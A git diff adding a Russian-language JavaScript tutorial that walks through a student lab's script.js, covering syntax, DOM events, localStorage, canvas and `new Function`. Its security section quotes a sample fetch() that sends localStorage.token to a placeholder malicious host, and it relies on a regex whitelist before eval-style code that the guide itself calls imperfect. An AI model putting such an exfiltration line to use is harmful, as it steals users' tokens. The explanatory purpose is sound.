new version
This commit is contained in:
@@ -0,0 +1,909 @@
|
|||||||
|
# Гайд по JavaScript на примере этого проекта
|
||||||
|
|
||||||
|
Этот гайд объясняет синтаксис JS и то, как работает именно `script.js` из Лабораторной №1.
|
||||||
|
Всё по порядку: сначала базовый синтаксис, потом разбор проекта блок за блоком.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 0. Как вообще всё запускается
|
||||||
|
|
||||||
|
В `index.html` в самом конце есть строка:
|
||||||
|
|
||||||
|
```html
|
||||||
|
<script src="script.js"></script>
|
||||||
|
```
|
||||||
|
|
||||||
|
Это значит:
|
||||||
|
|
||||||
|
1. Браузер читает HTML сверху вниз и строит **DOM** — дерево объектов из твоих тегов.
|
||||||
|
2. Доходит до `<script>` в конце `<body>` — все теги уже существуют.
|
||||||
|
3. Загружает `script.js` и **выполняет его сверху вниз**, как список инструкций.
|
||||||
|
|
||||||
|
Именно поэтому скрипт подключён в конце, а не в `<head>`: код в первой строке
|
||||||
|
`document.getElementById('graphCanvas')` сразу ищет `<canvas>`, и тег обязан
|
||||||
|
уже быть в DOM. Если бы `<script>` стоял в `<head>`, то `canvas` был бы `null`
|
||||||
|
и всё упало бы на второй строке.
|
||||||
|
|
||||||
|
**Где смотреть ошибки:** F12 → вкладка Console. Там же можно писать JS руками —
|
||||||
|
например, напечатай `history` и увидишь текущий массив истории.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Переменные: `const`, `let`, (и `var` — не используй)
|
||||||
|
|
||||||
|
```js
|
||||||
|
const canvas = document.getElementById('graphCanvas'); // нельзя переприсвоить
|
||||||
|
let history = []; // можно переприсвоить
|
||||||
|
```
|
||||||
|
|
||||||
|
| Ключевое слово | Переприсвоение | Где живёт |
|
||||||
|
|---|---|---|
|
||||||
|
| `const` | ❌ запрещено | внутри `{ }`, где объявлена |
|
||||||
|
| `let` | ✅ разрешено | внутри `{ }`, где объявлена |
|
||||||
|
| `var` | ✅ разрешено | во всей функции (устаревшее, путает) |
|
||||||
|
|
||||||
|
Важный нюанс, который многих ломает: `const` запрещает **переприсвоить саму
|
||||||
|
переменную**, но не запрещает менять содержимое объекта или массива.
|
||||||
|
|
||||||
|
```js
|
||||||
|
const arr = [];
|
||||||
|
arr.push(1); // ✅ можно — массив тот же, просто внутри стало больше
|
||||||
|
arr = [1, 2]; // ❌ ошибка — пытаемся подсунуть другой массив
|
||||||
|
```
|
||||||
|
|
||||||
|
В проекте `history` объявлена через `let`, потому что при очистке её **заменяют
|
||||||
|
целиком**:
|
||||||
|
|
||||||
|
```js
|
||||||
|
history = []; // строка 51 — вот из-за этого нужен let
|
||||||
|
```
|
||||||
|
|
||||||
|
> ⚠️ Кстати, `history` — неудачное имя: в браузере уже есть глобальный
|
||||||
|
> `window.history` (кнопки «назад/вперёд»). Здесь локальная переменная его
|
||||||
|
> перекрывает. Работает, но в своём коде лучше назвать `records` или `hits`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. Типы данных
|
||||||
|
|
||||||
|
В JS всего несколько базовых типов, с которыми ты тут встретишься:
|
||||||
|
|
||||||
|
```js
|
||||||
|
const num = 2.5; // number — одно число на все случаи (целые и дробные)
|
||||||
|
const str = 'Попадание'; // string — строка
|
||||||
|
const bool = true; // boolean — true / false
|
||||||
|
const nothing = null; // «осознанно пусто»
|
||||||
|
let notSet; // undefined — «значение не задано»
|
||||||
|
```
|
||||||
|
|
||||||
|
Два особых значения, которые встречаются в коде:
|
||||||
|
|
||||||
|
- `NaN` («Not a Number») — результат неудачной математики. `Number('абв')` даёт `NaN`.
|
||||||
|
Проверяется только функцией `isNaN(x)`, потому что `NaN === NaN` — это `false`.
|
||||||
|
- `null` vs `undefined`: `getElementById` вернёт `null`, если элемента нет.
|
||||||
|
`undefined` — если переменную объявили, но не присвоили.
|
||||||
|
|
||||||
|
### Массив
|
||||||
|
|
||||||
|
Упорядоченный список. Нумерация с нуля.
|
||||||
|
|
||||||
|
```js
|
||||||
|
const validR = [1, 2, 3, 4, 5];
|
||||||
|
validR[0]; // 1
|
||||||
|
validR.length; // 5
|
||||||
|
validR.includes(3); // true — «есть ли такой элемент?»
|
||||||
|
```
|
||||||
|
|
||||||
|
`includes` в проекте используется для проверки допустимых значений:
|
||||||
|
|
||||||
|
```js
|
||||||
|
if (![1, 2, 3, 4, 5].includes(rec.r)) return false;
|
||||||
|
```
|
||||||
|
|
||||||
|
### Объект
|
||||||
|
|
||||||
|
Набор пар «ключ: значение». Так в проекте хранится одна проверка точки:
|
||||||
|
|
||||||
|
```js
|
||||||
|
const rec = {
|
||||||
|
x: 1,
|
||||||
|
y: 2.5,
|
||||||
|
r: 3,
|
||||||
|
hit: true,
|
||||||
|
time: '20 октября 2026 г., 14:30:00'
|
||||||
|
};
|
||||||
|
|
||||||
|
rec.x; // 1 — доступ через точку
|
||||||
|
rec['x']; // 1 — то же самое, если имя ключа в переменной
|
||||||
|
rec.hit = false; // изменение
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. Операторы и сравнения
|
||||||
|
|
||||||
|
```js
|
||||||
|
x + y // сложение (для строк — склейка: 'a' + 'b' === 'ab')
|
||||||
|
x * x // умножение
|
||||||
|
x / 2 // деление
|
||||||
|
x ** 2 // возведение в степень
|
||||||
|
```
|
||||||
|
|
||||||
|
### `===` против `==`
|
||||||
|
|
||||||
|
**Всегда используй `===`.** Он сравнивает и значение, и тип.
|
||||||
|
|
||||||
|
```js
|
||||||
|
'2' == 2 // true — == тайно приводит типы, это источник багов
|
||||||
|
'2' === 2 // false — разные типы, честный ответ
|
||||||
|
2 === 2 // true
|
||||||
|
```
|
||||||
|
|
||||||
|
`!==` — «не равно» в строгом виде. В проекте: `rec.y !== 81`.
|
||||||
|
|
||||||
|
### Логика
|
||||||
|
|
||||||
|
```js
|
||||||
|
a && b // И — оба true
|
||||||
|
a || b // ИЛИ — хотя бы один true
|
||||||
|
!a // НЕ — переворачивает
|
||||||
|
```
|
||||||
|
|
||||||
|
Пример из `validateY` — проверка, что Y вне диапазона и это не пасхалка:
|
||||||
|
|
||||||
|
```js
|
||||||
|
if ((y < -3 || y > 5) && y !== 81) { ... }
|
||||||
|
```
|
||||||
|
|
||||||
|
Читается так: «если (Y меньше −3 ИЛИ больше 5) И при этом Y не равен 81».
|
||||||
|
Скобки обязательны, иначе приоритет операторов даст другой смысл.
|
||||||
|
|
||||||
|
### Truthy / falsy
|
||||||
|
|
||||||
|
`if` принимает не только `true`/`false`, а любое значение и превращает его в
|
||||||
|
логическое. **Falsy** (считаются «ложью»): `false`, `0`, `''`, `null`,
|
||||||
|
`undefined`, `NaN`. Всё остальное — truthy.
|
||||||
|
|
||||||
|
```js
|
||||||
|
if (!currentR) { ... } // строка 109: «если R не выбран»
|
||||||
|
```
|
||||||
|
|
||||||
|
Работает потому, что `currentR` изначально `null`. Но осторожно: `0` тоже falsy.
|
||||||
|
Здесь это безопасно только потому, что R всегда от 1 до 5. Будь в наборе R = 0 —
|
||||||
|
код бы ошибочно считал его «не выбранным». Правильнее было бы
|
||||||
|
`if (currentR === null)`.
|
||||||
|
|
||||||
|
### Тернарный оператор
|
||||||
|
|
||||||
|
Короткая запись `if/else`, которая **возвращает значение**:
|
||||||
|
|
||||||
|
```js
|
||||||
|
условие ? значение_если_да : значение_если_нет
|
||||||
|
```
|
||||||
|
|
||||||
|
Из `drawGraph`:
|
||||||
|
|
||||||
|
```js
|
||||||
|
const R_PIXELS = currentR ? (100 * currentR / 3) : 100;
|
||||||
|
ctx.fillStyle = rec.hit ? '#4CAF50' : '#F44336';
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. Функции
|
||||||
|
|
||||||
|
Три записи, все три есть в проекте.
|
||||||
|
|
||||||
|
### Обычное объявление
|
||||||
|
|
||||||
|
```js
|
||||||
|
function checkHit(x, y, r) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
`x, y, r` — параметры. `return` отдаёт результат и **немедленно выходит** из
|
||||||
|
функции. Такие функции «всплывают» (hoisting): их можно вызвать до строки, где
|
||||||
|
они объявлены. Поэтому в проекте `drawGraph()` вызывается на строке 54, хотя
|
||||||
|
объявлена она на 352-й — и это работает.
|
||||||
|
|
||||||
|
### Параметр по умолчанию
|
||||||
|
|
||||||
|
```js
|
||||||
|
function validateY(showErrors = false) { ... }
|
||||||
|
```
|
||||||
|
|
||||||
|
Если вызвать `validateY()` — внутри `showErrors` будет `false`.
|
||||||
|
Если `validateY(true)` — будет `true`.
|
||||||
|
|
||||||
|
Это ключевая идея валидации в проекте: **одна и та же функция** и молча проверяет
|
||||||
|
форму при каждом нажатии клавиши, и громко показывает ошибки при отправке.
|
||||||
|
|
||||||
|
### Стрелочная функция
|
||||||
|
|
||||||
|
```js
|
||||||
|
() => { ... } // без аргументов
|
||||||
|
(x, y, r) => func(x, y, r, r) // короткая форма: return подразумевается
|
||||||
|
btn => btn.value // один аргумент — скобки можно опустить
|
||||||
|
```
|
||||||
|
|
||||||
|
Короткая форма без `{ }` возвращает результат выражения автоматически.
|
||||||
|
Эти две записи идентичны:
|
||||||
|
|
||||||
|
```js
|
||||||
|
(a, b) => a + b
|
||||||
|
(a, b) => { return a + b; }
|
||||||
|
```
|
||||||
|
|
||||||
|
Стрелочные функции в проекте используются там, где функция передаётся
|
||||||
|
куда-то как аргумент — в обработчики событий и в `forEach`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. Поиск элементов и работа с DOM
|
||||||
|
|
||||||
|
```js
|
||||||
|
document.getElementById('y-input') // ОДИН элемент по id, или null
|
||||||
|
document.querySelectorAll('.r-button') // ВСЕ по CSS-селектору
|
||||||
|
document.querySelectorAll('input[name="xval"]') // все чекбоксы X
|
||||||
|
```
|
||||||
|
|
||||||
|
`querySelectorAll` принимает любой CSS-селектор и возвращает `NodeList` —
|
||||||
|
похож на массив, можно перебирать `forEach` и брать `.length`.
|
||||||
|
|
||||||
|
### Чтение и запись
|
||||||
|
|
||||||
|
```js
|
||||||
|
yInput.value // что пользователь ввёл (всегда СТРОКА!)
|
||||||
|
cb.checked // true/false для чекбокса
|
||||||
|
yError.textContent = 'Ошибка' // текст внутри элемента (безопасно)
|
||||||
|
tr.innerHTML = '<td>1</td>' // HTML внутри элемента (парсится как разметка)
|
||||||
|
submitBtn.disabled = true // отключить кнопку
|
||||||
|
btn.getAttribute('data-val') // прочитать любой атрибут, тоже строка
|
||||||
|
```
|
||||||
|
|
||||||
|
**Главная ловушка:** `input.value` — это всегда строка, даже у `type="number"`.
|
||||||
|
Поэтому в коде везде стоит преобразование:
|
||||||
|
|
||||||
|
```js
|
||||||
|
const y = parseFloat(yInput.value.trim().replace(',', '.'));
|
||||||
|
```
|
||||||
|
|
||||||
|
Разбираем цепочку справа налево по порядку вызовов:
|
||||||
|
|
||||||
|
1. `.value` → `" 2,5 "` (строка как есть)
|
||||||
|
2. `.trim()` → `"2,5"` (убрали пробелы по краям)
|
||||||
|
3. `.replace(',', '.')` → `"2.5"` (русская запятая → точка, JS понимает только точку)
|
||||||
|
4. `parseFloat(...)` → `2.5` (число)
|
||||||
|
|
||||||
|
Это **цепочка методов**: каждый возвращает новое значение, у которого сразу
|
||||||
|
вызывается следующий метод.
|
||||||
|
|
||||||
|
### `parseFloat` vs `Number`
|
||||||
|
|
||||||
|
```js
|
||||||
|
Number('2.5abc') // NaN — строгий, вся строка должна быть числом
|
||||||
|
parseFloat('2.5abc') // 2.5 — читает с начала, пока получается
|
||||||
|
Number('') // 0 (!) — коварно
|
||||||
|
```
|
||||||
|
|
||||||
|
В `validateY` стоит `Number`, потому что там нужна строгость: «буквы
|
||||||
|
недопустимы». А после успешной валидации уже можно `parseFloat` — значение
|
||||||
|
проверено.
|
||||||
|
|
||||||
|
### Классы и стили
|
||||||
|
|
||||||
|
```js
|
||||||
|
btn.classList.add('active'); // добавить CSS-класс
|
||||||
|
btn.classList.remove('active'); // убрать
|
||||||
|
```
|
||||||
|
|
||||||
|
CSS в `index.html` уже описывает, как выглядит `.r-button.active` (серый фон,
|
||||||
|
белый текст). JS только переключает класс — **внешний вид остаётся в CSS**.
|
||||||
|
Это правильный подход: не трогать стили из JS напрямую.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. Циклы и перебор
|
||||||
|
|
||||||
|
### `forEach` — основной инструмент проекта
|
||||||
|
|
||||||
|
```js
|
||||||
|
rButtons.forEach(btn => {
|
||||||
|
// здесь btn — каждая кнопка по очереди
|
||||||
|
});
|
||||||
|
```
|
||||||
|
|
||||||
|
`forEach` принимает функцию и вызывает её для каждого элемента. Ничего не
|
||||||
|
возвращает — используется ради побочных действий (навесить обработчик,
|
||||||
|
нарисовать точку, положить запись в массив).
|
||||||
|
|
||||||
|
### `filter` — отбор
|
||||||
|
|
||||||
|
```js
|
||||||
|
history = rawData.filter(rec => {
|
||||||
|
if (typeof rec !== 'object') return false; // выбросить
|
||||||
|
return true; // оставить
|
||||||
|
});
|
||||||
|
```
|
||||||
|
|
||||||
|
Возвращает **новый массив** только из тех элементов, для которых функция вернула
|
||||||
|
truthy. Исходный массив не меняется.
|
||||||
|
|
||||||
|
### Обычный `for` — когда нужны индексы
|
||||||
|
|
||||||
|
В `drawGraph` рисование пользовательской функции идёт попиксельно, и нужны
|
||||||
|
именно номера пикселей:
|
||||||
|
|
||||||
|
```js
|
||||||
|
for (let py = 0; py < height; py++) {
|
||||||
|
for (let px = 0; px < width; px++) {
|
||||||
|
// ...
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Три части: `let py = 0` — старт; `py < height` — условие продолжения;
|
||||||
|
`py++` — шаг (`py++` это то же, что `py = py + 1`).
|
||||||
|
|
||||||
|
Вложенный цикл = `300 × 300 = 90 000` итераций на каждую перерисовку.
|
||||||
|
|
||||||
|
### Spread `...` — копия массива
|
||||||
|
|
||||||
|
```js
|
||||||
|
[...history].reverse()
|
||||||
|
```
|
||||||
|
|
||||||
|
`reverse()` переворачивает массив **на месте**, портя оригинал. `[...history]`
|
||||||
|
сначала создаёт поверхностную копию, и переворачивается уже она. Так таблица
|
||||||
|
показывает новые записи сверху, а сам `history` остаётся в порядке добавления —
|
||||||
|
что важно, потому что именно в этом порядке он уходит в `localStorage`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. События — как код реагирует на пользователя
|
||||||
|
|
||||||
|
Весь интерактив строится на одной конструкции:
|
||||||
|
|
||||||
|
```js
|
||||||
|
элемент.addEventListener('событие', функция);
|
||||||
|
```
|
||||||
|
|
||||||
|
«Когда на этом элементе случится такое событие — вызови эту функцию».
|
||||||
|
|
||||||
|
Какие события используются в проекте:
|
||||||
|
|
||||||
|
| Событие | Где | Когда срабатывает |
|
||||||
|
|---|---|---|
|
||||||
|
| `DOMContentLoaded` | `window`, стр. 47 | HTML разобран, DOM готов |
|
||||||
|
| `click` | кнопки R, «Отрисовать», «Очистить» | нажатие |
|
||||||
|
| `change` | чекбоксы X | галочка поставлена/снята |
|
||||||
|
| `input` | поля Y и функции | каждый введённый символ |
|
||||||
|
| `submit` | `<form>` | отправка формы |
|
||||||
|
|
||||||
|
### Разбор обработчика кнопок R (строки 62–74)
|
||||||
|
|
||||||
|
```js
|
||||||
|
rButtons.forEach(btn => {
|
||||||
|
btn.addEventListener('click', () => {
|
||||||
|
rButtons.forEach(b => b.classList.remove('active')); // снять выделение со всех
|
||||||
|
btn.classList.add('active'); // выделить нажатую
|
||||||
|
rHidden.value = btn.getAttribute('data-val'); // записать в скрытое поле
|
||||||
|
currentR = parseFloat(rHidden.value); // и в переменную как число
|
||||||
|
if (formSubmitted) rError.textContent = ''; // стереть старую ошибку
|
||||||
|
validateForm();
|
||||||
|
drawGraph();
|
||||||
|
});
|
||||||
|
});
|
||||||
|
```
|
||||||
|
|
||||||
|
Здесь два уровня вложенности, и это стоит понять:
|
||||||
|
|
||||||
|
- Внешний `forEach` выполняется **один раз при загрузке** и навешивает
|
||||||
|
обработчик на каждую из 5 кнопок.
|
||||||
|
- Внутренняя стрелочная функция выполняется **позже, при каждом клике**.
|
||||||
|
|
||||||
|
Внутренняя функция «помнит» переменную `btn` своей кнопки, хотя внешний цикл
|
||||||
|
давно закончился. Это называется **замыкание** (closure) — функция сохраняет
|
||||||
|
доступ к переменным того места, где была создана. Работает это потому, что `btn`
|
||||||
|
объявлена через `let`/параметр: у каждой итерации своя копия. С `var` все пять
|
||||||
|
обработчиков ссылались бы на одну переменную и ломались — классический баг.
|
||||||
|
|
||||||
|
### `submit` и `preventDefault`
|
||||||
|
|
||||||
|
```js
|
||||||
|
form.addEventListener('submit', (e) => {
|
||||||
|
e.preventDefault();
|
||||||
|
// ...
|
||||||
|
});
|
||||||
|
```
|
||||||
|
|
||||||
|
`e` — объект события, браузер передаёт его автоматически.
|
||||||
|
`e.preventDefault()` отменяет стандартное поведение: по умолчанию форма
|
||||||
|
перезагрузила бы страницу и всё состояние потерялось бы. Без этой строки
|
||||||
|
приложение не работало бы вообще.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 8. `try / catch` — работа с тем, что может сломаться
|
||||||
|
|
||||||
|
```js
|
||||||
|
try {
|
||||||
|
const rawData = JSON.parse(localStorage.getItem(STORAGE_KEY));
|
||||||
|
// ...
|
||||||
|
} catch (e) {
|
||||||
|
history = [];
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Логика: «попробуй выполнить блок `try`; если внутри произойдёт ошибка — не
|
||||||
|
падай, а перейди в `catch`». `e` — объект ошибки, у него есть `e.message`
|
||||||
|
с текстом.
|
||||||
|
|
||||||
|
Ошибку можно создать самому:
|
||||||
|
|
||||||
|
```js
|
||||||
|
throw new Error('Недопустимые символы в функции');
|
||||||
|
```
|
||||||
|
|
||||||
|
`throw` прерывает функцию и «выбрасывает» ошибку наружу, где её поймает
|
||||||
|
ближайший `catch`. Так устроен `parseFunction`: он не возвращает код ошибки,
|
||||||
|
а бросает исключение, а вызывающий код решает, что делать:
|
||||||
|
|
||||||
|
```js
|
||||||
|
try {
|
||||||
|
customFunction = parseFunction(funcStr);
|
||||||
|
funcError.textContent = '';
|
||||||
|
drawGraph();
|
||||||
|
} catch (e) {
|
||||||
|
funcError.textContent = e.message; // показать текст пользователю
|
||||||
|
customFunction = null;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 9. `localStorage` — сохранение между перезагрузками
|
||||||
|
|
||||||
|
Хранилище «ключ → значение» в браузере. Живёт после закрытия страницы.
|
||||||
|
**Хранит только строки.**
|
||||||
|
|
||||||
|
```js
|
||||||
|
localStorage.setItem('key', 'строка');
|
||||||
|
localStorage.getItem('key'); // строка или null, если ключа нет
|
||||||
|
localStorage.removeItem('key');
|
||||||
|
```
|
||||||
|
|
||||||
|
Чтобы положить массив объектов, его сериализуют в JSON:
|
||||||
|
|
||||||
|
```js
|
||||||
|
localStorage.setItem(STORAGE_KEY, JSON.stringify(history)); // объект → строка
|
||||||
|
const data = JSON.parse(localStorage.getItem(STORAGE_KEY)); // строка → объект
|
||||||
|
```
|
||||||
|
|
||||||
|
`JSON.parse` **бросает ошибку** на испорченной строке — поэтому он обёрнут
|
||||||
|
в `try/catch`.
|
||||||
|
|
||||||
|
### Почему данные перепроверяются
|
||||||
|
|
||||||
|
```js
|
||||||
|
history = rawData.filter(rec => {
|
||||||
|
if (typeof rec !== 'object' || rec === null) return false;
|
||||||
|
if (![1, 2, 3, 4, 5].includes(rec.r)) return false;
|
||||||
|
// ...
|
||||||
|
});
|
||||||
|
```
|
||||||
|
|
||||||
|
`localStorage` открыт пользователю: любой может зайти в DevTools и записать
|
||||||
|
туда что угодно. Данные оттуда — **недоверенный ввод**, ровно как данные с
|
||||||
|
сервера. Поэтому каждая запись проверяется по полям, а битые выбрасываются.
|
||||||
|
Это правильная привычка, не паранойя.
|
||||||
|
|
||||||
|
Здесь же проявляется `typeof`:
|
||||||
|
|
||||||
|
```js
|
||||||
|
typeof 5 // 'number'
|
||||||
|
typeof 'текст' // 'string'
|
||||||
|
typeof {} // 'object'
|
||||||
|
typeof null // 'object' ← историческая ошибка языка!
|
||||||
|
```
|
||||||
|
|
||||||
|
Из-за последней строки проверка написана как
|
||||||
|
`typeof rec !== 'object' || rec === null` — одного `typeof` не хватает.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 10. Canvas — рисование графика
|
||||||
|
|
||||||
|
`<canvas>` — холст пикселей. Из JS берётся «контекст» — объект с командами
|
||||||
|
рисования:
|
||||||
|
|
||||||
|
```js
|
||||||
|
const ctx = canvas.getContext('2d');
|
||||||
|
```
|
||||||
|
|
||||||
|
### Система координат
|
||||||
|
|
||||||
|
Начало координат canvas — **левый верхний угол**, ось Y направлена **вниз**.
|
||||||
|
Математическая ось Y смотрит вверх. Отсюда вся арифметика перевода:
|
||||||
|
|
||||||
|
```js
|
||||||
|
const center = width / 2; // 150 — центр холста
|
||||||
|
let drawX = center + (rec.x / rec.r) * R_PIXELS; // + : вправо = плюс
|
||||||
|
let drawY = center - (rec.y / rec.r) * R_PIXELS; // − : вверх = МИНУС в пикселях
|
||||||
|
```
|
||||||
|
|
||||||
|
Деление на `rec.r` нормализует точку: точка (2, 2) при R = 2 и точка (5, 5) при
|
||||||
|
R = 5 нарисуются в одном месте, потому что относительно своего R они одинаковы.
|
||||||
|
|
||||||
|
### Основные команды
|
||||||
|
|
||||||
|
```js
|
||||||
|
ctx.clearRect(0, 0, width, height); // стереть всё
|
||||||
|
ctx.fillStyle = '#3399FF'; // цвет заливки
|
||||||
|
ctx.fillRect(x, y, ширина, высота); // залитый прямоугольник
|
||||||
|
|
||||||
|
ctx.beginPath(); // начать новый контур
|
||||||
|
ctx.moveTo(x, y); // перенести «перо» без линии
|
||||||
|
ctx.lineTo(x, y); // линия до точки
|
||||||
|
ctx.arc(x, y, радиус, отУгла, доУгла); // дуга, углы в РАДИАНАХ
|
||||||
|
ctx.closePath(); // замкнуть контур
|
||||||
|
ctx.fill(); // залить
|
||||||
|
ctx.strokeStyle = '#000'; // цвет линии
|
||||||
|
ctx.stroke(); // обвести
|
||||||
|
|
||||||
|
ctx.font = '12px Arial';
|
||||||
|
ctx.fillText('R', x, y); // текст
|
||||||
|
```
|
||||||
|
|
||||||
|
Ключевая идея: `beginPath()` → набор `moveTo`/`lineTo`/`arc` → `fill()` или
|
||||||
|
`stroke()`. Без `beginPath()` новые линии дорисуются к старому контуру и зальются
|
||||||
|
вместе с ним — очень частый баг.
|
||||||
|
|
||||||
|
Четверть круга:
|
||||||
|
|
||||||
|
```js
|
||||||
|
ctx.arc(center, center, R_PIXELS, -Math.PI / 2, 0, false);
|
||||||
|
```
|
||||||
|
|
||||||
|
Углы в радианах: `-Math.PI / 2` = −90° (верх), `0` = 0° (право). Вместе с
|
||||||
|
`moveTo(center, center)` и `closePath()` получается сектор, а не просто дуга.
|
||||||
|
|
||||||
|
### Попиксельная отрисовка пользовательской функции
|
||||||
|
|
||||||
|
Фигуры варианта (прямоугольник, сектор, треугольник) можно нарисовать готовыми
|
||||||
|
командами. Произвольную функцию — нельзя, её форма неизвестна. Поэтому код
|
||||||
|
проверяет **каждый пиксель отдельно**:
|
||||||
|
|
||||||
|
```js
|
||||||
|
const imageData = ctx.createImageData(width, height);
|
||||||
|
const data = imageData.data; // плоский массив длиной width*height*4
|
||||||
|
|
||||||
|
for (let py = 0; py < height; py++) {
|
||||||
|
for (let px = 0; px < width; px++) {
|
||||||
|
const x = ((px - center) / R_PIXELS) * currentR; // пиксель → математика
|
||||||
|
const y = ((center - py) / R_PIXELS) * currentR;
|
||||||
|
|
||||||
|
const hit = checkHit(x, y, currentR);
|
||||||
|
|
||||||
|
const index = (py * width + px) * 4; // позиция пикселя в плоском массиве
|
||||||
|
if (hit) {
|
||||||
|
data[index] = 51; // R
|
||||||
|
data[index + 1] = 153; // G
|
||||||
|
data[index + 2] = 255; // B
|
||||||
|
data[index + 3] = 255; // Alpha (прозрачность)
|
||||||
|
} else {
|
||||||
|
data[index] = 255; data[index + 1] = 255;
|
||||||
|
data[index + 2] = 255; data[index + 3] = 255;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ctx.putImageData(imageData, 0, 0); // вывести на холст одним разом
|
||||||
|
```
|
||||||
|
|
||||||
|
`data` — одномерный массив, где каждый пиксель занимает 4 ячейки (RGBA).
|
||||||
|
Формула `(py * width + px) * 4` переводит двумерные координаты в плоский индекс:
|
||||||
|
«пропустить `py` полных строк, потом `px` пикселей, умножить на 4 байта».
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 11. `new Function` — и почему это опасно
|
||||||
|
|
||||||
|
```js
|
||||||
|
const func = new Function('x', 'y', 'r', 'R', `return ${normalized};`);
|
||||||
|
```
|
||||||
|
|
||||||
|
Это создание функции **из строки во время работы программы**. Первые аргументы —
|
||||||
|
имена параметров, последний — тело.
|
||||||
|
|
||||||
|
Здесь же используется **шаблонная строка** — обратные кавычки `` ` ``
|
||||||
|
с подстановкой `${выражение}`:
|
||||||
|
|
||||||
|
```js
|
||||||
|
const name = 'мир';
|
||||||
|
`Привет, ${name}!` // 'Привет, мир!'
|
||||||
|
```
|
||||||
|
|
||||||
|
В `renderHistory` тем же приёмом собирается строка HTML на несколько строк —
|
||||||
|
обычные кавычки так не умеют.
|
||||||
|
|
||||||
|
### В чём опасность
|
||||||
|
|
||||||
|
`new Function` исполняет произвольный код — как `eval`. Строка
|
||||||
|
`fetch('http://злой.сайт', {method:'POST', body: localStorage.token})` была бы
|
||||||
|
выполнена браузером. В проекте перед этим стоит защита:
|
||||||
|
|
||||||
|
```js
|
||||||
|
const allowedChars = /^[xyrRMathabsincoqrt.()+\-*/<>=\s\d.]+$/;
|
||||||
|
if (!allowedChars.test(normalized)) {
|
||||||
|
throw new Error('Недопустимые символы в функции');
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Это **регулярное выражение** (regex) — шаблон для проверки строк:
|
||||||
|
|
||||||
|
- `/.../` — границы регулярки
|
||||||
|
- `^` — начало строки, `$` — конец (значит, проверяется строка целиком)
|
||||||
|
- `[...]` — набор разрешённых символов
|
||||||
|
- `\d` — любая цифра, `\s` — пробел
|
||||||
|
- `+` — «один или больше таких символов»
|
||||||
|
- `\-`, `\*`, `\/` — экранирование: символы со спецсмыслом помечаются `\`
|
||||||
|
- `.test(строка)` → `true` / `false`
|
||||||
|
|
||||||
|
Перед этим идёт нормализация — человеческая запись переводится в JS:
|
||||||
|
|
||||||
|
```js
|
||||||
|
const normalized = funcStr.trim()
|
||||||
|
.replace(/abs\(/g, 'Math.abs(') // abs( → Math.abs(
|
||||||
|
.replace(/sin\(/g, 'Math.sin(')
|
||||||
|
.replace(/\^/g, '**'); // ^ → ** (степень в JS)
|
||||||
|
```
|
||||||
|
|
||||||
|
Флаг `g` (global) в `/abs\(/g` означает «заменить все вхождения», а не только
|
||||||
|
первое.
|
||||||
|
|
||||||
|
Потом функция проверяется пробным вызовом, чтобы синтаксическая ошибка вылезла
|
||||||
|
сразу, а не при отрисовке:
|
||||||
|
|
||||||
|
```js
|
||||||
|
func(0, 0, 1, 1);
|
||||||
|
return (x, y, r) => func(x, y, r, r); // обёртка: r и R — одно и то же
|
||||||
|
```
|
||||||
|
|
||||||
|
Последняя строка — функция, которая возвращает функцию. Снаружи удобно звать
|
||||||
|
`customFunction(x, y, r)` тремя аргументами, а внутри `r` подставляется дважды,
|
||||||
|
чтобы работали оба написания — и `r`, и `R`.
|
||||||
|
|
||||||
|
> ⚠️ Честно про эту защиту: белый список символов узкий, но не идеальный —
|
||||||
|
> набор `[xyrRMathabsincoqrt]` разрешает любые комбинации этих букв.
|
||||||
|
> Для лабораторной работы, которая крутится только в твоём браузере, это
|
||||||
|
> нормально. На настоящем сайте с чужим вводом так делать нельзя — нужен
|
||||||
|
> настоящий парсер математических выражений.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 12. Как устроена вся логика проекта
|
||||||
|
|
||||||
|
### Глобальное состояние
|
||||||
|
|
||||||
|
Четыре переменные держат всё, что программа «знает» о текущем моменте:
|
||||||
|
|
||||||
|
```js
|
||||||
|
let history = []; // массив всех проверок
|
||||||
|
let currentR = null; // выбранный R, null пока не выбран
|
||||||
|
let formSubmitted = false; // была ли хоть одна отправка
|
||||||
|
let customFunction = null; // активная пользовательская функция
|
||||||
|
```
|
||||||
|
|
||||||
|
`formSubmitted` решает тонкую задачу UX: ошибки нельзя показывать пользователю,
|
||||||
|
который ещё ничего не отправлял — иначе пустая форма сразу краснеет. Но после
|
||||||
|
первой отправки ошибки уже показаны, и их надо гасить при правке поля:
|
||||||
|
|
||||||
|
```js
|
||||||
|
yInput.addEventListener('input', () => {
|
||||||
|
if (formSubmitted) yError.textContent = '';
|
||||||
|
validateForm();
|
||||||
|
});
|
||||||
|
```
|
||||||
|
|
||||||
|
### Валидация: один набор правил, два режима
|
||||||
|
|
||||||
|
```
|
||||||
|
validateForm(showErrors)
|
||||||
|
├── validateY(showErrors) → Y заполнен, число, в диапазоне
|
||||||
|
├── validateFunction(showErrors) → функция парсится (пустая = ок)
|
||||||
|
├── проверка R → выбран и из списка [1..5]
|
||||||
|
├── проверка X → хотя бы один и все из списка
|
||||||
|
└── submitBtn.disabled = !isValid
|
||||||
|
```
|
||||||
|
|
||||||
|
Вызывается в двух режимах:
|
||||||
|
|
||||||
|
